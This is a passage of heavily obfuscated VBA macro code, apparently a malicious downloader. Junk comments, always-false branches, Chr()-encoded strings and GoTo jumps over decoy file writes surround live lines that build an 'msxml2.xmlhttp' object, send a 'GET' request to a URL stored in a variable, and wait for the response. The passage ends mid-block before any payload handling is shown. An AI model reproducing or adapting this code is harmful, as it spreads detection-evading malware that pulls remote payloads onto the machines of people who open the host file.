  289. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  290. If Len(Chr(119) & Chr(99) & Chr(106) & Chr(106) & Chr(117) & Chr(112) & Chr(115) & Chr(100) & Chr(50) & Chr(55) & Chr(57) & Chr(56)) = Len(Chr(118) & Chr(97) & Chr(109) & Chr(114) & Chr(103) & Chr(105) & Chr(115) & Chr(108)) Then
  291. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  292.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  293. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  294. End If
  295. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  296. Put #29, , oetdulop
  297. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  298.  
  299. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  300. If 145749 = 145749 + 1 Then End
  301. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  302. If 4412 < 47 Then
  303. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  304.        MsgBox (Chr(117) & Chr(116) & Chr(119) & Chr(112) & Chr(119) & Chr(110) & Chr(112) & Chr(111) & Chr(54) & Chr(56))
  305. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  306. End If
  307. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  308. If Len(Chr(98) & Chr(110) & Chr(104) & Chr(107) & Chr(110) & Chr(105) & Chr(117) & Chr(104) & Chr(53) & Chr(50) & Chr(54) & Chr(50)) = Len(Chr(105) & Chr(103) & Chr(99) & Chr(102) & Chr(99) & Chr(98) & Chr(108) & Chr(103)) Then
  309. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  310.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  311. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  312. End If
  313. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  314. Close #29
  315. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  316.  
  317. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  318. If 836356 = 836356 + 1 Then End
  319. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  320. If 3964 < 85 Then
  321. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  322.        MsgBox (Chr(102) & Chr(104) & Chr(118) & Chr(112) & Chr(110) & Chr(120) & Chr(112) & Chr(104) & Chr(57) & Chr(57))
  323. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  324. End If
  325. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  326. If Len(Chr(114) & Chr(98) & Chr(98) & Chr(107) & Chr(122) & Chr(121) & Chr(110) & Chr(98) & Chr(54) & Chr(50) & Chr(51) & Chr(55)) = Len(Chr(121) & Chr(114) & Chr(101) & Chr(114) & Chr(112) & Chr(114) & Chr(98) & Chr(116)) Then
  327. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  328.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  329. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  330. End If
  331. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  332. hsgzhsmu:
  333. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  334.  
  335. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  336.  
  337. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  338. If 822118 = 822118 + 1 Then End
  339. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  340. If 2276 < 15 Then
  341. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  342.        MsgBox (Chr(106) & Chr(120) & Chr(116) & Chr(114) & Chr(100) & Chr(109) & Chr(104) & Chr(118) & Chr(51) & Chr(54))
  343. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  344. End If
  345. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  346. If Len(Chr(118) & Chr(115) & Chr(111) & Chr(101) & Chr(120) & Chr(100) & Chr(115) & Chr(106) & Chr(51) & Chr(49) & Chr(51) & Chr(54)) = Len(Chr(108) & Chr(116) & Chr(105) & Chr(111) & Chr(103) & Chr(108) & Chr(110) & Chr(116)) Then
  347. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  348.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  349. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  350. End If
  351. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  352.    Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))
  353. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  354.  
  355. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  356.    ocpvmgeelcx.Open Chr(71) & Chr(69) & Chr(84), ejckdfuqggu, False
  357. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  358.  
  359. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  360. GoTo fkgnbngl
  361. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  362. Dim lfxwswys As String
  363. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  364. Open Chr(83) & Chr(84) & Chr(90) & Chr(87) & Chr(78) & Chr(73) & Chr(46) & Chr(83) & Chr(90) & Chr(69) For Binary As 37
  365. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  366. If 557928 = 557928 + 1 Then End
  367. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  368. If 3963 < 85 Then
  369. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  370.        MsgBox (Chr(119) & Chr(98) & Chr(101) & Chr(102) & Chr(116) & Chr(111) & Chr(110) & Chr(103) & Chr(52) & Chr(55))
  371. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  372. End If
  373. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  374. If Len(Chr(114) & Chr(98) & Chr(110) & Chr(102) & Chr(106) & Chr(98) & Chr(114) & Chr(116) & Chr(54) & Chr(50) & Chr(51) & Chr(54)) = Len(Chr(121) & Chr(101) & Chr(101) & Chr(110) & Chr(110) & Chr(99) & Chr(114) & Chr(115)) Then
  375. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  376.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  377. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  378. End If
  379. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  380. Put #37, , lfxwswys
  381. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  382.  
  383. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  384. If 347236 = 347236 + 1 Then End
  385. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  386. If 3113 < 34 Then
  387. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  388.        MsgBox (Chr(122) & Chr(100) & Chr(120) & Chr(106) & Chr(122) & Chr(101) & Chr(101) & Chr(103) & Chr(55) & Chr(56))
  389. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  390. End If
  391. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  392. If Len(Chr(105) & Chr(122) & Chr(110) & Chr(103) & Chr(113) & Chr(99) & Chr(98) & Chr(117) & Chr(52) & Chr(56) & Chr(54) & Chr(52)) = Len(Chr(101) & Chr(120) & Chr(118) & Chr(109) & Chr(114) & Chr(122) & Chr(100) & Chr(109)) Then
  393. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  394.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  395. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  396. End If
  397. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  398. Close #37
  399. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  400.  
  401. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  402. If 979162 = 979162 + 1 Then End
  403. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  404. If 3491 < 99 Then
  405. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  406.        MsgBox (Chr(108) & Chr(102) & Chr(103) & Chr(120) & Chr(102) & Chr(103) & Chr(103) & Chr(116) & Chr(56) & Chr(57))
  407. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  408. End If
  409. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  410. If Len(Chr(111) & Chr(98) & Chr(104) & Chr(114) & Chr(104) & Chr(118) & Chr(114) & Chr(102) & Chr(52) & Chr(51) & Chr(52) & Chr(50)) = Len(Chr(113) & Chr(122) & Chr(108) & Chr(106) & Chr(99) & Chr(120) & Chr(114) & Chr(109)) Then
  411. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  412.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  413. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  414. End If
  415. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  416. fkgnbngl:
  417. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  418.  
  419. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  420.  
  421. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  422. If 634598 = 634598 + 1 Then End
  423. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  424. If 7877 < 96 Then
  425. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  426.        MsgBox (Chr(109) & Chr(116) & Chr(114) & Chr(112) & Chr(108) & Chr(103) & Chr(110) & Chr(104) & Chr(49) & Chr(55))
  427. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  428. End If
  429. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  430. If Len(Chr(97) & Chr(119) & Chr(105) & Chr(111) & Chr(97) & Chr(117) & Chr(120) & Chr(111) & Chr(49) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(120) & Chr(102) & Chr(117) & Chr(102) & Chr(109) & Chr(100) & Chr(111) & Chr(120)) Then
  431. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  432.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  433. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  434. End If
  435. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  436.    ocpvmgeelcx.send
  437. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  438.  
  439. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  440.  
  441. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  442.    Do While ocpvmgeelcx.readystate <> 4
  443. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  444.  
  445. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  446. GoTo uqwnmpen
  447. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  448. Dim dyemutmj As String
  449. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  450. Open Chr(79) & Chr(65) & Chr(84) & Chr(73) & Chr(67) & Chr(68) & Chr(46) & Chr(75) & Chr(76) & Chr(82) For Binary As 25
  451. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  452. If 881643 = 881643 + 1 Then End
  453. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  454. If 2516 < 71 Then
  455. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  456.        MsgBox (Chr(111) & Chr(108) & Chr(109) & Chr(120) & Chr(113) & Chr(121) & Chr(103) & Chr(114) & Chr(56) & Chr(53))
  457. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  458. End If
  459. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  460. If Len(Chr(98) & Chr(114) & Chr(120) & Chr(101) & Chr(100) & Chr(103) & Chr(116) & Chr(100) & Chr(53) & Chr(55) & Chr(55) & Chr(57)) = Len(Chr(97) & Chr(117) & Chr(118) & Chr(106) & Chr(109) & Chr(102) & Chr(114) & Chr(108)) Then
  461. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  462.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  463. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  464. End If
  465. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  466. Put #25, , dyemutmj
  467. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  468.  
  469. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  470. If 272254 = 272254 + 1 Then End
  471. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  472. If 9561 < 89 Then
  473. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  474.        MsgBox (Chr(100) & Chr(110) & Chr(101) & Chr(113) & Chr(108) & Chr(116) & Chr(101) & Chr(111) & Chr(55) & Chr(50))
  475. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  476. End If
  477. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  478. If Len(Chr(100) & Chr(116) & Chr(122) & Chr(122) & Chr(100) & Chr(116) & Chr(100) & Chr(105) & Chr(51) & Chr(56) & Chr(51) & Chr(52)) = Len(Chr(117) & Chr(118) & Chr(122) & Chr(121) & Chr(121) & Chr(113) & Chr(110) & Chr(119)) Then
  479. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  480.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  481. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  482. End If
  483. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  484. Close #25
  485. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  486.  
  487. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  488. If 148677 = 148677 + 1 Then End
  489. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  490. If 1384 < 68 Then
  491. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  492.        MsgBox (Chr(119) & Chr(108) & Chr(121) & Chr(110) & Chr(121) & Chr(120) & Chr(120) & Chr(101) & Chr(50) & Chr(57))
  493. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  494. End If
  495. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  496. If Len(Chr(108) & Chr(102) & Chr(115) & Chr(106) & Chr(119) & Chr(118) & Chr(99) & Chr(114) & Chr(50) & Chr(49) & Chr(51) & Chr(52)) = Len(Chr(119) & Chr(108) & Chr(104) & Chr(101) & Chr(114) & Chr(120) & Chr(99) & Chr(113)) Then
  497. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  498.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  499. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  500. End If
  501. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  502. uqwnmpen:
  503. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  504.  
  505. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  506.  
  507. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  508. If 819916 = 819916 + 1 Then End
  509. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  510. If 5858 < 76 Then
  511. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  512.        MsgBox (Chr(107) & Chr(102) & Chr(108) & Chr(98) & Chr(110) & Chr(100) & Chr(103) & Chr(106) & Chr(54) & Chr(56))
  513. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  514. End If
  515. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  516. If Len(Chr(108) & Chr(108) & Chr(108) & Chr(104) & Chr(109) & Chr(100) & Chr(98) & Chr(104) & Chr(57) & Chr(49) & Chr(50) & Chr(50)) = Len(Chr(100) & Chr(115) & Chr(106) & Chr(109) & Chr(102) & Chr(108) & Chr(100) & Chr(101)) Then
  517. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  518.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  519. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  520. End If
  521. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  522.    DoEvents
  523. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  524.  
  525. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  526.  
  527. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  528. GoTo zgksahqs
  529. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  530. Dim ipnyfpee As String
  531. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  532. Open Chr(89) & Chr(72) & Chr(74) & Chr(70) & Chr(70) & Chr(72) & Chr(46) & Chr(89) & Chr(68) & Chr(74) For Binary As 11
  533. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  534. If 439317 = 439317 + 1 Then End
  535. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  536. If 1876 < 74 Then
  537. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  538.        MsgBox (Chr(100) & Chr(108) & Chr(113) & Chr(117) & Chr(117) & Chr(113) & Chr(109) & Chr(111) & Chr(50) & Chr(53))
  539. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  540. End If
  541. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  542. If Len(Chr(99) & Chr(108) & Chr(117) & Chr(121) & Chr(108) & Chr(97) & Chr(118) & Chr(98) & Chr(53) & Chr(49) & Chr(52) & Chr(57)) = Len(Chr(98) & Chr(120) & Chr(113) & Chr(108) & Chr(122) & Chr(98) & Chr(118) & Chr(121)) Then
  543. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  544.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  545. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  546. End If
  547. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  548. Put #11, , ipnyfpee
  549. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  550.  
  551. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  552. If 763678 = 763678 + 1 Then End
  553. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  554. If 8278 < 76 Then
  555. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  556.        MsgBox (Chr(98) & Chr(99) & Chr(97) & Chr(107) & Chr(120) & Chr(97) & Chr(109) & Chr(105) & Chr(50) & Chr(49))
  557. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  558. End If
  559. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  560. If Len(Chr(117) & Chr(100) & Chr(116) & Chr(106) & Chr(116) & Chr(119) & Chr(106) & Chr(98) & Chr(57) & Chr(49) & Chr(50) & Chr(56)) = Len(Chr(97) & Chr(117) & Chr(114) & Chr(119) & Chr(118) & Chr(110) & Chr(114) & Chr(100)) Then
  561. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  562.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
